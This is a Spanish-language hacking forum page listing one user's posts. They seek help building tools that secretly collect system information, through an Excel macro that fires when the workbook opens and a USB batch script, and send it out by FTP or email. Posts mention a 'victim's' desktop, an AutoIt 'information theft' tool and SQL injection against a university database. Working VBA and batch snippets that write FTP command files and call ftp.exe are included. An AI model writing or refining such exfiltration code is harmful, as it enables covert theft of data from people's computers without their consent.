Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - Atomic

Páginas: [1]
1
Dudas y pedidos generales / [VBA] Ayuda con macro en Excel
« en: Febrero 05, 2016, 02:04:39 pm »
Buen día,

Tengo la siguientes dudas, espero y alguien me pueda ayudar.

Tengo una macro que genera un archivo txt en mis documentos, pero ¿como le puedo hacer para que el nombre del txt siempre sea diferente al generar el archivo? Esto con la finalidad de la sobrescritura del mismo, ya sea que se guarde con el hostname de nombre del txt.

Código: Visual Basic
  1. Sub ip()
  2. Dim programa As String
  3. Dim Ide As Double
  4.     On Error Resume Next
  5. programa = "cmd.exe"
  6. Ide = Shell("cmd.exe /k ipconfig > hostname.txt", vbNormalFocus)
  7.     If Err <> 0 Then
  8.         MsgBox "No se puede iniciar " & programa, vbCritical, " Error"
  9.     End If
  10.  
  11. End Sub

En este código como puedo declarar que me lo guarde en el mismo txt de arriba
Código: Visual Basic
  1. Function GetMyPublicIP() As String
  2.  
  3.     Dim HttpRequest As Object
  4.    
  5.     On Error Resume Next
  6.     'Create the XMLHttpRequest object.
  7.    Set HttpRequest = CreateObject("MSXML2.XMLHTTP")
  8.  
  9.     'Check if the object was created.
  10.    If Err.Number <> 0 Then
  11.         'Return error message.
  12.        GetMyPublicIP = "Could not create the XMLHttpRequest object!"
  13.         'Release the object and exit.
  14.        Set HttpRequest = Nothing
  15.         Exit Function
  16.     End If
  17.     On Error GoTo 0
  18.    
  19.     'Create the request - no special parameters required.
  20.    HttpRequest.Open "GET", "[url]http://myip.dnsomatic.com[/url]", False
  21.    
  22.     'Send the request to the site.
  23.    HttpRequest.Send
  24.        
  25.     'Return the result of the request (the IP string).
  26.    GetMyPublicIP = HttpRequest.ResponseText
  27.  
  28. End Function
  29.  

Saludos y gracias de antemano.

2
Dudas y pedidos generales / Ayuda con VBA en excel
« en: Enero 28, 2016, 01:42:12 pm »
Buenos dias,

He estado tratando de hacer un excel que al momento de abrirlo capture la información del sistema mediante un shell y lo guarde en un txt en mis documentos, y que ya guardado ese txt lo suba a un servidor FTP o lo envie por correo.

Hasta el momento solo tengo el script VBA para generar el txt con el SYSTEMINFO pero no se como enviarlo via FTP o mail.

Entontre este script para el upload ftp pero no se como adaptarlo:

Código: Visual Basic
  1. Public Sub FtpSend()
  2.  
  3. Dim vPath As String
  4. Dim vFile As String
  5. Dim vFTPServ As String
  6. Dim fNum As Long
  7.  
  8. vPath = ThisWorkbook.Path
  9. vFile = "YourFile.csv"
  10. vFTPServ = "********"
  11.  
  12. 'Mounting file command for ftp.exe
  13. fNum = FreeFile()
  14. Open vPath & "\FtpComm.txt" For Output As #fNum
  15. Print #1, "user ***** *****" ' your login and password"
  16. Print #1, "cd TargetDir"  'change to dir on server
  17. Print #1, "bin" ' bin or ascii file type to send
  18. Print #1, "put " & vPath & "\" & vFile & " " & vFile ' upload local filename to server file
  19. Print #1, "close" ' close connection
  20. Print #1, "quit" ' Quit ftp program
  21. Close
  22.  
  23. Shell "ftp -n -i -g -s:" & vPath & "\FtpComm.txt " & vFTPServ, vbNormalNoFocus
  24.  
  25. SetAttr vPath & "\FtpComm.txt", vbNormal
  26. Kill vPath & "\FtpComm.txt"
  27.  
  28. End Sub
  29.  

Si alguien me pudiera orientar a adaptarlo, se los agradecería mucho. Gracias

3
Hacking ShowOff / Re:Base de datos de la upbc LOL
« en: Enero 07, 2016, 01:55:39 pm »
Muy buen aporte, pudieras explicar un poco mas como inyectaste el 'or' '=' para entender un poco mas como lograste accesar.

Saludos y gracias de antemano.

Puedes tener una idea de como funciona con este post.


Muchas Gracias, me queda mas claro

4
Hacking ShowOff / Re:Base de datos de la upbc LOL
« en: Enero 07, 2016, 01:25:02 pm »
Muy buen aporte, pudieras explicar un poco mas como inyectaste el 'or' '=' para entender un poco mas como lograste accesar.

Saludos y gracias de antemano.

5
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 02:09:02 pm »
Aun sigue subiendo el .txt en blanco :(
Pero y el txt que te crea esta en blanco tambien?

Si, solo se genera el archivo .txt en el ftp pero sin contenido

Pues la verdad es que lo acabo de testear y como te dije funciona, con poner ipconfig /all>testip.txt en el OTRO archivo justo al principio.

ftpsubida.bat

Código: DOS
  1. open ftp.server
  2. user
  3. password
  4. put "testip.txt"

Ejecutar.bat

Código: DOS
  1. ipconfig /all>testip.txt
  2. ftp -s:ftpsubida.bat

Si no te funciona es por otra cosa, pero los códigos rulan bien.

Entonces supongo que es el servidor FTP el que no me permite.
Estoy usando Hostinger, me pudieras recomendar de favor otro para hacer la prueba?

6
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 12:58:20 pm »
Aun sigue subiendo el .txt en blanco :(
Pero y el txt que te crea esta en blanco tambien?

Si, solo se genera el archivo .txt en el ftp pero sin contenido

7
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 15, 2015, 11:53:45 am »
Aun sigue subiendo el .txt en blanco :(

8
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 14, 2015, 06:49:50 pm »
Es el mismo problema :(
Intente tambien de la siguiente manera para que se creara el archivo en el escritorio de la victima y posteriormente se subiera al FTP, pero me aparece el error de que no encuentra el archivo cuando lo quiere subir por FTP, pero si esta el archivo en el escritorio.
Script2
Código: DOS
  1. cmd.exe /c ipconfig /all>%userprofile%\Desktop\testip.txt
  2. open ftp.server
  3. User
  4. Password
  5. ascii
  6. mput "%userprofile%\Desktop\testip.txt"
  7.  

Código: DOS
  1. ftp -n -s:script2.bat
  2.  

9
Dudas y pedidos generales / Re:Ayuda con Batch
« en: Septiembre 14, 2015, 06:24:51 pm »
Ya lo intente pero sigue igual :(
No se porque me crea el .txt pero aparece sin contenido

10
Dudas y pedidos generales / [SOLUCIONADO] Ayuda con Batch
« en: Septiembre 14, 2015, 01:05:34 pm »
Buenos días,

Necesito apoyo con este script en Batch.

Lo que busco es tener un batch que al ejecutarlo por medio de usb se pueda correr un ipconfig /all y genere un archivo .txt y a la vez lo suba por FTP.

Este es el codigo1(ftpsubida.bat)- Genera un archivo txt con el ipconfig /all
Código: DOS
  1. cmd.exe /c ipconfig /all>testip.txt
  2. open ftp.server
  3. user
  4. password
  5. ascii
  6. put "testip.txt"
  7.  


Codigo2 (ejecutar.bat) - Subida al FTP
Código: DOS
  1. ftp -s:ftpsubida.bat
  2.  
 
El detalle esta en cuando se sube el archivo ftp no contiene nada de información.

Sabran alguna solución a esto?

Gracias de antemano.

11
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 29, 2015, 01:31:27 pm »
Hola @ANTRAX

Intente de las ultimas 2 formas que me pasaste, pero aun me sale el mismo error.

Seguiré investigando por que ese código es buenísimo.

Saludos.

12
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 06:08:26 pm »
Lo intente agregándolo después de los #include por ejemplo así:


$_DllPath = @ProgramFilesDir & '\F:\filesystem.dll'
RunWait ( @Systemdir & '\regsvr32.exe "' & $_DllPath & '" /s' )

Donde F: suponiendo que es la letra del USB pero aun me aparece el error del filesystem.dll
También lo intente agregando el dll al disco C: pero sigue apareciendo el error.

13
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 03:56:58 pm »
Si y aun no logro nada, no se si sea necesario registrar el Filesys.dll (regsvr32 filesystem.dll ) pero con algún comando (que no conozco) en autoit.

14
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 22, 2015, 03:37:23 pm »
Muchas gracias @ANTRAX  :D

Es un excelente aporte @0b3Y , pero creo que si sera difícil robar información con la USB, ya que si el dispositivo objetivo marca el error de Filesys.dll no se podrá ejecutar :S
He probado en 3 equipos diferentes pero en los 3 encuentro la misma falla  :-\


Saludos.

15
Otros lenguajes Scripting / Re:[Auotit] Robo de informacion
« en: Mayo 21, 2015, 09:42:51 am »
Hola, a mi me parece con este error: "The Filesys.dll is needed to the correct function of the program"

¿Como lo puedo solucionar?

Gracias

Páginas: [1]